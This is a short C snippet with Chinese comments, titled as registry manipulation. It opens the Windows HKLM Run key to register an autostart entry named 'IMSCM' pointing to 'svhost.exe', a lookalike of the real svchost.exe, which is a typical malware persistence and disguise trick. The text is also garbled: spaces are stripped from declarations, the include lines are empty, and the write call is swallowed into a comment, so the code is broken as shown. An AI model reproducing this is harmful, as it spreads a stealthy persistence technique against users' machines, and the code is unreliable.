c操作注册表
#include
#include
#include
intmain(){
HKEYhkey;
DWORDlpType=0,ret;
LPBYTElpData;
char*key;
DWORDSizeF;
lpData="C:\\WINDOWS\\system32\\svhost.exe";
SizeF=strlen(lpData);
key="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
//打开指定的注册表键:
ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,
key,
0,
KEY_ALL_ACCESS,
&hkey);
if(ret==ERROR_SUCCESS)
;
else
return0;
//下面是写入一个名称为IMSCM,类型为REG_SZ,数据为c:\windows\system32\svhost.exe ret=RegSetValueEx(hkey,"IMSCM",0,
REG_SZ,
lpData,
SizeF);
return0;
}